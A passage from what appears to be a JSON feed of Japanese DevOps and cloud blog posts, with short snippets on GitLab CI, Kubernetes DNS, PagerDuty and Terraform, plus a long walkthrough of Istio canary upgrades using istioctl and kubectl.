をまたいで変数を渡す","link":"https://blog.1q77.com/2023/04/gitlab-ci-artifacts-report-dotenv/","contentSnippet":"GitLab CI である Job で変数を定義して、それを後続の Job でも使いたいなと思って調べていたら artifacts:reports:dotenv にたどり着いたのでメモ。 以下、使用例 stages: - stage1 - stage2 - stage3 - stage4 job1: stage: stage1","isoDate":"2023-04-04T16:27:22.000Z","dateMiliSeconds":1680625642000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Orbstack を Docker Desktop の代わりに使う","link":"https://blog.1q77.com/2023/04/orbstack/","contentSnippet":"きっかけ brew update して新しく追加された formula を眺めるのが最近のちょっとした楽しみ — yteraoka (@yteraoka) January 12, 2023 で、orbstack っていう formula が追加されてるのを見てほー、","isoDate":"2023-04-04T13:17:51.000Z","dateMiliSeconds":1680614271000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy の externalTrafficPolicy=Local の改善","link":"https://zenn.dev/toversus/articles/6eeb3b708bdff3","contentSnippet":"tl;dr;Service type LoadBalancer の externalTrafficPolicy: Local は、Kubernetes 1.26 まで Pod のローリング更新時にトラフィックが喪失する問題があるので注意kubernetes-sigs/cloud-provider-kind は、ローカル環境でクラウドリソース (現在は LB のみ) が絡む処理をシミュレートできて便利GKE Dataplane v2 を利用している場合、GKE 1.26.1 時点で Cilium に externalTrafficPolicy: Local の改善が入ってい...","isoDate":"2023-03-29T01:31:20.000Z","dateMiliSeconds":1680053480000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PagerDuty で一定期間アラートを抑制する","link":"https://zenn.dev/toshikish/articles/6958af565e6c65","contentSnippet":"PagerDuty でアラートを受け取っているプロジェクトで,以下のようにある時間帯はアラートを止めたいケースがあります。メンテナンスが予定されている。開発環境は営業時間内だけ動かすので,平日夜や土日祝日は止めたい。何も対策しないとアラートが鳴ってしまい,オンコール担当者を不用意に呼び出す結果になるので,そうならないようにきちんと設定します。 TL;DR各ケースで以下のように設定します。メンテナンス→メンテナンスウィンドウを設定平日夜・土日停止→曜日・時刻ベースのイベントルールを追加 方法1:メンテナンスウィンドウメンテナンスなどでダウンする時間帯があらかじ...","isoDate":"2023-03-27T08:38:39.000Z","dateMiliSeconds":1679906319000,"authorName":"toshikish","authorId":"toshikish"},{"title":"jq commandの select でハマった話","link":"https://zenn.dev/satohjohn/articles/79faafa55e9a1e","contentSnippet":"結論配列のjsonに対してselectする際には、配列を一度オブジェクトの抽出をしないと複製されてしまう。なので、以下ではなくjq -r \'select(.[].A | contains(\\"特定文字列\\")) | .[].B\' test.jsonこうしないといけないjq -r \'.[] | select(.A | contains(\\"特定文字列\\")) | .B\' test.json 環境$ jq --version jq-1.6 詰まった内容以下のjson(test.json)があったときにtest.json[ { \\"hog...","isoDate":"2023-03-25T16:36:44.000Z","dateMiliSeconds":1679762204000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ふと、思いだしたときに確認するって大事ですね、という話","link":"https://zenn.dev/nedoko_dok0dko/articles/174811e1685df2","contentSnippet":"本日、こんなお知らせが流れてきた。We updated our RSA SSH host key「そういえば、プライベートのPCでRSA使ってた…」と思い出したので、確認。$ ssh -T git@github.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT I...","isoDate":"2023-03-24T13:27:59.000Z","dateMiliSeconds":1679664479000,"authorName":"seno","authorId":"seno"},{"title":"Kubernetes と名前解決","link":"https://zenn.dev/toversus/articles/d9faba80f68ea2","contentSnippet":"tl;dr外部サービスのホスト名の末尾に . (ドット) を必ず指定しましょう。✅\xa0google.com.❌\xa0google.com末尾にドットを指定できない (e.g. SDK 組み込み) かつ大量の名前解決が発生している場合は、Pod の DNS Config の options で ndots: 1 を指定しましょう。Kubernetes の名前解決の仕組みを理解していないと、各ノードの conntrack テーブルが溢れてパケットが破棄され、サービスに影響が出ることがあります。 背景アプリケーションが外部のサービスを呼び出す場合、ホスト名を IP アド...","isoDate":"2023-03-22T07:36:38.000Z","dateMiliSeconds":1679470598000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"cloud runの要らなくなったリビジョンを消す","link":"https://zenn.dev/satohjohn/articles/2a769b8280427d","contentSnippet":"小ネタです。運用をしていて、たくさんリリースしているとリビジョンが増えていることとかもあるかなと思いますが、コンソール上から消すのも面倒なので、コマンドで消しましょう。というか、解説することもないので、結論と詰まった部分だけ残しておきます。 結論 ACTIVEじゃないものをすべて消す#!/bin/bashSERVICE_NAME=$1revisions=$( gcloud run revisions list --service=$SERVICE_NAME \\\\ --filter=\\"status.conditions.type:Active AND s...","isoDate":"2023-03-21T02:35:43.000Z","dateMiliSeconds":1679366143000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Datadog Agent からの Metrics を Victoria Metrics で受ける","link":"https://blog.1q77.com/2023/03/send-datadog-metrics-to-victoriametrics/","contentSnippet":"Victoria Metrics は v1.67.0 で Datadog Agent からのメトリクスを受け取れるようになっているので今回はこれを試してみる。 Victoria Metrics のドキュメント How to send data from DataDog agent Single node Instance をセットアップ Victoria","isoDate":"2023-03-19T12:38:04.000Z","dateMiliSeconds":1679229484000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Azure Bicep で Storage Account の SSE を設定する","link":"https://zenn.dev/kyohei_saito/articles/fb102fd2af31e2","contentSnippet":"Azure Bicep で Storage Account の SSE (サーバー側暗号化) を設定してみようとしたところ、思ったより難しかったのと、やりたいことそのままのサンプルコードがなかったため、調査した内容を公開してみます。 この記事で書いてあることAzure Bicep を使用して Storage Account の SSE を設定する方法 サンプルコード早く使い方とコードを見たい、という方向けにまずはサンプル コードについて記載します。この記事で説明するサンプル コードの全体は下記を参照ください。https://github.com/kiyo-s/crea...","isoDate":"2023-03-19T04:44:58.000Z","dateMiliSeconds":1679201098000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"k8s.gcr.io の凍結対応から学んだことメモ","link":"https://zenn.dev/kyohei_saito/articles/d0080d94dae0b7","contentSnippet":"今まで Kubernetes プロジェクトのコンテナ イメージをホストしていたイメージ レジストリ k8s.gcr.io が凍結されることが発表されました。この記事では、k8s.gcr.io から registry.k8s.io に移行する過程で学んだことについて、備忘としてメモします。 この記事で書いてあることk8s.gcr.io から registry.k8s.io に移行した流れhelm で、dependencies によって外部の chart を install している場合に、外部の chart の values を設定する方法skopeo によりローカルで ...","isoDate":"2023-03-18T19:08:14.000Z","dateMiliSeconds":1679166494000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"[Terraform] aws_networkfirewall_firewall リソースから VPC エンドポイント ID を取り出す","link":"https://zenn.dev/toshikish/articles/fc08c2021811f9","contentSnippet":"はじめにTerraform を使って AWS Network Firewall のファイアウォールを作るとき,生成された VPC エンドポイントの ID をサブネットのルートテーブルのルートに追加するのは自然な流れですが,VPC エンドポイント ID を取り出すのが大変だったので,やり方を記録しておきます。例えば以下のように aws_networkfirewall_firewall リソースを定義したとします。(特に説明のない変数やリソースは,なんとなくの理解で構いません。)resource \\"aws_networkfirewall_firewall\\" \\"firewall\\" ...","isoDate":"2023-03-16T07:58:23.000Z","dateMiliSeconds":1678953503000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ビットコイン・ライトニングネットワーク概論","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun-749a7a47-5e72-4585-bcfd-40e8643a7143","contentSnippet":"https://event.ospn.jp/osc2023-online-spring/session/809175\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。\\r\\rオフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。\\r\\rライトニングネットワーク技術の骨格をまとめました。","isoDate":"2023-03-11T05:00:00.000Z","dateMiliSeconds":1678510800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"振り返り (2020 - 2022)","link":"https://zenn.dev/toversus/articles/8557a7fb2bc15c","contentSnippet":"コロプラに 2020/3/1 に入社して、2023/2/28 付けで退職したので、丸々 3 年間勤務したことになります。本当の意味での大規模 Kubernetes 環境で貴重な経験をさせて貰い感謝しかないです。記憶が新しい内に、この 3 年間でやってきたことを公開できる範囲で整理しました。 GitOps 風なマニフェスト管理への移行インフラチームで管理している監視ツールやアドオンなコンポーネントを Helm でインストールしていました。マルチクラスタな環境で手動インストールはスケールしないので、Helmfile で生成した各クラスタのマニフェストを Argo CD で同期する方式に...","isoDate":"2023-03-05T14:17:49.000Z","dateMiliSeconds":1678025869000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Devbox を使った開発環境","link":"https://blog.1q77.com/2023/03/devbox/","contentSnippet":"ローカル環境を汚さずDockerコンテナのオーバーヘッドもなく、開発環境を自在に構築できる「Devbox 0.2.0」登場 - Publickey この記事を最初に","isoDate":"2023-03-04T15:05:12.000Z","dateMiliSeconds":1677942312000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年もSRE再考と叫びなさい‼️","link":"https://speakerdeck.com/nwiizo/2023nian-mosrezai-kao-tojiao-binasai","contentSnippet":"2023年もSRE再考と叫びなさい‼️ SREの跡を求めず SREの求めたるところを求めよ というタイトルで登壇してきました\\r\\r2023年3月3日 エンジニア文化祭 2023\\rhttps://forkwell.connpass.com/event/272596/\\r\\r『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました - じゃあ、おうちで学べる\\rhttps://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","isoDate":"2023-03-03T05:00:00.000Z","dateMiliSeconds":1677819600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Insertモードでも気軽に←・→したい","link":"https://blog.atusy.net/2023/03/03/horizontal-arrows-on-insert/","contentSnippet":"本記事は3/3のVim 駅伝の記事です1。概要通常、Vim/NeovimのInsertモードで←や→を使うと、Undo blockが途切れます。これではUndoやドットリピートが直感に反するケースがあるので、以下のようにマッピングしておくと便利です。Insertモード中で水平移動してタイポ修正する人や、自動入力された閉括弧の外側へ→で移動した後、NormalモードでUndoやドットリピートする時に活躍します。","isoDate":"2023-03-03T00:00:00.000Z","dateMiliSeconds":1677801600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Snowflakeでのコスト管理","link":"https://zenn.dev/nedoko_dok0dko/articles/ffe6450c4cd851","contentSnippet":"Snowflakeを最近触ってみることがあったので、コスト周りについて個人的に調べたログ参考ドキュメント↓Snowflakeでのコスト管理 | Snowflake Documentation お品書きSnowflakeのコストについてSnowflakeのコスト調査Snowflakeのコスト制御 SnowflakeのコストについてSnowflakeでのコストは次の3つの領域に分類される。コンピューティング: ユーザー管理(仮想ウェアハウス)、Snowflake管理(Snowpipeなどのサーバーレス機能)、およびクラウドサービスストレージ: データステージング...","isoDate":"2023-02-28T10:45:26.000Z","dateMiliSeconds":1677581126000,"authorName":"seno","authorId":"seno"},{"title":"【Istio⛵️】Istioを安全にアップグレードするカナリア方式とその仕組み","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/02/26/202548","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのアップグレード手法の種類について安全なカナリア方式の仕組みについてこの記事から得られる知識01. はじめに02. なぜ安全なアップグレードが必要なのか起こりうる問題採用するべきアップグレード手法03. アップグレード手法を説明する前にカナリアリリースとはカナリアリリースの手順(1) 新環境のリリース(2) 新環境への重み付けルーティング(3) 実地的テストの実施(4) 重み付けの段階的変更『カナリアリリース』の呼称の由来04. アップグレード手法の概要(1) アップグレード前の検証(2) 新Istiodのインストール(3) Webhookの宛先のServiceの変更(4) Istio IngressGatewayをインプレースアップグレード(5) 一部のNamespaceのistio-proxyコンテナをアップグレード(6) ユーザの手を借りたテスト(7) istio-proxyコンテナの段階的アップグレード(8) 旧Istiodのアンインストール05. アップグレード手法の詳細istioctl コマンドを使用したアップグレード前提NamespaceIstiodIstio IngressGatewayマイクロサービス(1) アップグレード前の検証ここで実施することistioctl x precheckコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration(2) 新Istiodのインストールここで実施することistioctl versionコマンドistioctl installコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration(3) Webhookの宛先のServiceの変更ここで実施することistioctl tag setコマンド(4) Istio IngressGatewayをインプレースアップグレードここで実施することkubectl rollout restartコマンド(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施することkubectl rollout restartコマンド(6) ユーザの手を借りたテストここで実施することもし問題が起こった場合(7) istio-proxyコンテナの段階的アップグレードここで実施することkubectl rollout restartコマンド(8) 旧Istiodのアンインストールここで実施することistioctl uninstallコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration06. おわりに記事関連のおすすめ書籍01. はじめに隠しません。有吉弘行のサンデーナイトドリーマー は人生のバイブルです。さて、最近の業務でIstio⛵️をひたすらアップグレードしています。今回は、採用したアップグレード手法の紹介も兼ねて、Istioの安全なアップグレード手法の仕組みを記事で解説しました。Istioのアップグレード手法には変遷があり、解説するのは執筆時点 (2023/02/26) で最新の 1.14 系のアップグレード手法です。それでは、もりもり布教していきます\uD83D\uDE1702. なぜ安全なアップグレードが必要なのか起こりうる問題そもそも、なぜIstioで安全なアップグレードを採用する必要があるのでしょうか。Istioで問題が起こると、Pod内のistio-proxyコンテナが正しく稼働せず、システムに大きな影響を与える可能性があります。例えば、istio-proxyコンテナのPodへのインジェクションがずっと完了せず、アプリコンテナへの通信が全て遮断されるといったことが起こることがあります。採用するべきアップグレード手法執筆時点 (2023/02/26) では、Istiodコントロールプレーン (以降、Istiodとします) のアップグレード手法には、『インプレース方式』と『カナリア方式』があります。また合わせてアップグレードが必要なIstio IngressGatewayには、その手法に『インプレース方式』があります。今回の安全なアップグレード手法として、Istiodでは『カナリアアップグレード』、Istio IngressGatewayでは『インプレースアップグレード』を採用します。Istio / Canary UpgradesIstio / Installing Gateways03. アップグレード手法を説明する前にカナリアリリースとはIstiodのカナリアアップグレードが理解しやすくなるように、カナリアリリースから説明したいと思います。カナリアリリースは、実際のユーザーにテストしてもらいながらリリースする手法です。もしカナリアリリースをご存知の方は、 04. アップグレード手法の概要 まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍カナリアリリースの手順カナリアリリースは、一部のユーザーを犠牲にすることになる一方で、アプリを実地的にテストできる点で優れています。手順を交えながら説明します。Canary Release(1) 新環境のリリース旧環境のアプリを残したまま、新環境をリリースします。この段階では、全てのユーザー (100%) を旧環境にルーティングします。(2) 新環境への重み付けルーティングロードバランサーで重み付けを変更し、一部のユーザー (ここでは10%) を新環境にルーティングします。(3) 実地的テストの実施ユーザーの手を借りて新環境を実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。(4) 重み付けの段階的変更新環境に問題が起こらなければ、重み付けを段階的に変更し、最終的には全てのユーザー (100%) を新環境にルーティングします。『カナリアリリース』の呼称の由来カナリアリリースについては、その呼称の由来を知ると、より理解が深まります。カナリアリリースは、20世紀頃の炭坑労働者の危機察知方法に由来します。炭鉱内には有毒な一酸化炭素が発生する場所がありますが、これは無色無臭なため、気づくことに遅れる可能性があります。そこで当時の炭鉱労働者は、一酸化炭素に敏感な『カナリア』を炭鉱内に持ち込み、カナリアの様子から一酸化炭素の存在を察知するようにしていたそうです。つまり、先ほどの『犠牲になる一部のユーザー』が、ここでいうカナリアというわけです\uD83D\uDE28画像引用元:George McCaa, U.S. Bureau of MinesAbout canary deployment in simple words04. アップグレード手法の概要カナリアリリースを理解したところで、Istioの安全なアップグレード手法の概要を説明します。おおよそ以下の手順からなります。なお各番号は、05. アップグレード手法の詳細 の (1) 〜 (8) に対応しています。(1) アップグレード前の検証旧Istiodが稼働しています。ここで、アップグレードが可能かどうかを検証しておきます。(2) 新Istiodのインストール新Istiod (discoveryコンテナ) をインストールします。(3) Webhookの宛先のServiceの変更新Istiodのistio-proxyコンテナをインジェクションできるように、Webhookの宛先のServiceを変更します。この手順は重要で、後の (3) Webhookの宛先のServiceの変更 で詳細を説明しています。(4) Istio IngressGatewayをインプレースアップグレードIstio IngressGatewayをインプレースアップグレードします。(5) 一部のNamespaceのistio-proxyコンテナをアップグレード一部のNamespaceで、istio-proxyコンテナをカナリアアップグレードします。▶︎ 『カナリアアップグレード』の呼称についてistio-proxyコンテナを一斉にアップグレードするのではなく、段階的にアップグレードしていく様子を『カナリア』と呼称している、と個人的に推測しています。もし『カナリアアップグレード』の由来をご存じの方は、ぜひ教えていただけると\uD83D\uDE47\uD83C\uDFFB‍(6) ユーザの手を借りたテストユーザーの手を借りて、実地的にテストします (例:該当のエラーメトリクスが基準値以下を満たすか) 。(7) istio-proxyコンテナの段階的アップグレード新Istiodのistio-proxyコンテナに問題が起こらなければ、他のNamespaceでもistio-proxyコンテナを段階的にカナリアアップグレードしていきます。一方でもし問題が起これば、Namespaceのistio-proxyコンテナとIstio IngressGatewayをダウングレードします。(8) 旧Istiodのアンインストール最後に、旧Istiodをアンインストールします。Istio / Canary Upgrades05. アップグレード手法の詳細istioctl コマンドを使用したアップグレードここからは、04. アップグレード手法の概要 を深ぼっていきます。今回は、ドキュメントで一番優先して記載されている istioctl コマンドを使用した手順 を説明します。なお各番号は、04. アップグレード手法の概要 の (1) 〜 (8) に対応しています。▶︎ アップグレードに使用するツールについてistioctlコマンド以外のツール (例:helmコマンド、helmfileコマンド、ArgoCD) を使用してもアップグレードできます。細かな手順が異なるだけで、アップグレード手法の概要は同じです\uD83D\uDE46\uD83C\uDFFB‍前提Namespaceまず最初に、前提となる状況を設定しておきます。各Namespaceのistio.io/revラベルにdefaultが設定されているとします。$ kubectl get namespace -L istio.io/revNAME STATUS AGE REVfoo Active 34d defaultbar Active 34d defaultbaz Active 34d defaultistio-ingress Active 34d default...▶︎ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dさらに、マニフェストに書き起こすと以下のようになっています。apiVersion: v1kind: Namespacemetadata: name: foo labels: istio.io/rev: defaultこのistio.io/revラベルがあることにより、そのNamespaceのPodにistio-proxyコンテナを自動的にインジェクションします。▶︎ istio-proxyコンテナのインジェクションの仕組みについてについてistio-proxyコンテナのインジェクションの仕組みについては、今回言及しておりません。以下の記事で解説していますため、もし気になる方はよろしくどうぞ\uD83D\uDE47\uD83C\uDFFB‍Istiodすでに1-14-6のIstiodが動いており、1-15-4にカナリアアップグレードします。IstiodはDeployment配下のPodであり、このPodはIstiodの実体であるdiscoveryコンテナを持ちます。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6Istio IngressGatewayIstio IngressGatewayはIstiodとは異なるNamespaceで動いており、インプレースアップグレードします。Istio IngressGatewayはistio-proxyコンテナを持ちます。$ kubectl get deployment -n istio-ingressNAME READY UP-TO-DATE AVAILABLE AGEistio-ingressgateway 1/1 1 1 47s▶︎ IstiodとIstio IngressGatewayを動かすNamespaceについてIstio / Installing Gatewaysマイクロサービス各Namespaceでマイクロサービスが動いています。マイクロサービスのPodはistio-proxyコンテナを持ちます。$ kubectl get deployment -n fooNAME READY UP-TO-DATE AVAILABLE AGEfoo 2/2 1 1 47s...$ kubectl get deployment -n barNAME READY UP-TO-DATE AVAILABLE AGEbar 2/2 1 1 47s..$ kubectl get deployment -n bazNAME READY UP-TO-DATE AVAILABLE AGEbaz 2/2 1 1 47s...(1) アップグレード前の検証ここで実施することアップグレード前に、現在のKubernetes Clusterがアップグレード要件を満たしているかを検証します。Before you upgradeistioctl x precheckコマンドistioctl x precheckコマンドを実行し、アップグレード要件を検証します。問題がなければ、istioctlコマンドはNo issue ...の文言を出力します。$ istioctl x precheck✅ No issues found when checking the cluster.Istiois safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/▶︎ アップグレード要件が満たない場合についてistioctl x precheckコマンドはエラー文言を出力します。例えば、Istioのistio-proxyコンテナのインジェクションではkube-apiserverと通信する必要があります。そのため、kube-apiserverのバージョンが古すぎるせいでIstioが非対応であると、エラーになります\uD83D\uDE2Dkubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、現在のIstiodのバージョンを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6のDeploymentがあります。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ Webhookの宛先のService次に、 Serviceを確認すると、1-14-6のServiceがあります。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6このServiceは、kube-apiserverからIstiodへのWebhookを仲介することにより、istio-proxyコンテナのインジェクションを可能にします。istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後に、MutatingWebhookConfigurationを確認すると、istio-revision-tag-<エイリアス>とistio-sidecar-injector-<リビジョン番号>のMutatingWebhookConfigurationがあります。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレード用istio-sidecar-injector-1-14-6 2 2m16s # インプレースアップグレード用のため今回は言及しないistio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47これらのうち、前者 (istio-revision-tag-<エイリアス>) をカナリアアップグレードのために使用します。このMutatingWebhookConfigurationは、Webhookの宛先のServiceを決めるため、結果的にistio-proxyコンテナのバージョンを決めます。ここで、MutatingWebhookConfigurationのistio.io/revラベルとistio.io/tagラベルの値も確認しておきます。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-14-6istio.io/tag: default...istio.io/revラベルはIstiodのバージョン、istio.io/tagラベルはこれのエイリアスを表しています。また、.webhooks[].namespaceSelectorキー配下のistio.io/revキーの検知ルールを確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[]\'...namespaceSelector: matchExpressions: - key: istio.io/rev operator: In values: - default...合わせて、.webhooks[].clientConfig.serviceキー配下のServiceを名前を確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-14-6...▶︎ MutatingWebhookConfigurationの役割についてistio.io/revラベルにdefaultを設定してあるとします。すると、上記のMutatingWebhookConfigurationがこれを検知します。MutatingWebhookConfigurationにはdefaultに対応するIstioのリビジョンが定義されており、kube-apiserverが特定のIstioのバージョンのServiceにWebhookを送信可能になります\uD83C\uDF89Istio / Safely upgrade the Istio control plane with revisions and tags(2) 新Istiodのインストールここで実施することそれでは、新Istiodをインストールします。Control planeistioctl versionコマンド新しくインストールするIstiodのバージョンは、istioctlコマンドのバージョンで決まります。そこで、istioctl versionコマンドを実行し、これのバージョンを確認します。$ istioctl versionclient version: 1.15.4 # アップグレード先のバージョンcontrol plane version: 1.14.6 # 現在のバージョンdata plane version: 1.14.6istioctl installコマンドカナリアアップグレードの場合、istioctl installコマンドを実行します。ドキュメントではrevisionキーの値がcanaryですが、今回は1-15-4とします。この値は、Istioが使用する様々なKubernetesリソースの接尾辞や、各リソースのistio.io/revラベルの値になります。$ istioctl install --set revision=1-15-4WARNING: Istio is being upgraded from 1.14.6 -> 1.15.4WARNING: Before upgrading, you may wish to use \'istioctl analyze\' to check for IST0002 and IST0135 deprecation warnings.✅ Istio core installed✅ Istiod installed✅ Ingress gateways installed✅ Installation completeThank you for installing Istio 1.15. Please take a few minutes to tell us about your install/upgrade experience!▶︎ カナリアアップグレードで指定できるバージョン差についてrevisionキーを使用したカナリアアップグレードでは、2つの先のマイナーバージョンまでアップグレードできます。例えば、現在のIstioが1.14.6であるなら、1.16系まで対応しています\uD83D\uDC4DIstio / Canary Upgradeskubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl installコマンドで何をインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-15-4というDeploymentが新しく増えています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istiod-1-15-4 1/1 1 1 47s # 1-15-4接尾辞の1-15-4は、revisionキーの値で決まります。この段階では、旧Istiodと新Istioが並行的に稼働しており、kube-apiserverはまだ旧Istiodと通信しています今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-15-4というServiceが新しく増えています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6istiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4この段階では、まだWebhookの宛先はistiod-1-14-6のServiceです。今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-15-4というMutatingWebhookConfigurationが新しく増えています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレードで使用するistio-sidecar-injector-1-14-6 2 2m16sistio-sidecar-injector-1-15-4 2 2m16sカナリアアップグレードでは、istio-revision-tag-<エイリアス>のMutatingWebhookConfigurationを使用します。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて(3) Webhookの宛先のServiceの変更ここで実施することこの手順では、エイリアスのistio.io/tagラベルの値はそのままにしておき、一方でistio.io/revラベルの値を変更します。さらに、Webhookの宛先のServiceを変更します。Default tagSafely upgrade the Istio control plane with revisions and tagsistioctl tag setコマンドistioctl tag setコマンドを実行し、istio.io/revラベルの値と宛先のServiceを変更します。$ istioctl tag set default --revision 1-15-4 --overwrite実行後に、もう一度MutatingWebhookConfigurationを確認すると、istio.io/revラベルの値が変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-15-4istio.io/tag: default...また、Webhookの宛先のServiceも変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-15-4...これらにより、Webhookの宛先が 1-15-4 のService となります。そのため、 1-15-4 の istio-proxy コンテナをインジェクションできる ようになります。今の状況は以下の通りです\uD83D\uDC47(4) Istio IngressGatewayをインプレースアップグレードここで実施することWebhookの宛先が1-15-4のServiceに変わったところで、Istio IngressGatewayをインプレースアップグレードします。In place upgradekubectl rollout restartコマンドkubectl rollout restartコマンドを実行し、Istio IngressGatewayをインプレースアップグレードします。$ kubectl rollout restart deployment istio-ingressgateway-n istio-ingress再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'docker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47▶︎ Istio IngressGatewayの通信遮断について(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施すること続けて、一部のNamespaceのistio-proxyコンテナをアップグレードします。Podの再作成により、新Istiodのistio-proxyコンテナがインジェクションされるため。istio-proxyコンテナをアップグレードできます。Data planekubectl rollout restartコマンド前提にあるように、Namespaceには foo bar baz があります。kubectl rollout restartコマンドを実行し、barのistio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment bar -n bar再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'bar-app:1.0 # マイクロサービスdocker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(6) ユーザの手を借りたテストここで実施することIstioを部分的にアップグレードしたところで、アップグレードが完了したNamespaceをテストします。ユーザーの手を借りて実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。今の状況は以下の通りです\uD83D\uDC47もし問題が起こった場合もし問題が起こった場合、1-14-6にダウングレードしていきます。istioctl tag setコマンドを実行し、istio.io/revラベルの値を元に戻します。$ istioctl tag set default --revision 1-14-6 --overwriteその後、kubectl rollout restartコマンドの手順を実行し、istio-proxyコンテナをダウングレードしてきます。(7) istio-proxyコンテナの段階的アップグレードここで実施すること先ほどのNamespaceで問題が起こらなければ、残ったNamespace (foo、baz、...) のistio-proxyコンテナも段階的にアップグレードしていきます。kubectl rollout restartコマンド同様にkubectl rollout restartコマンドを実行し、istio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment foo 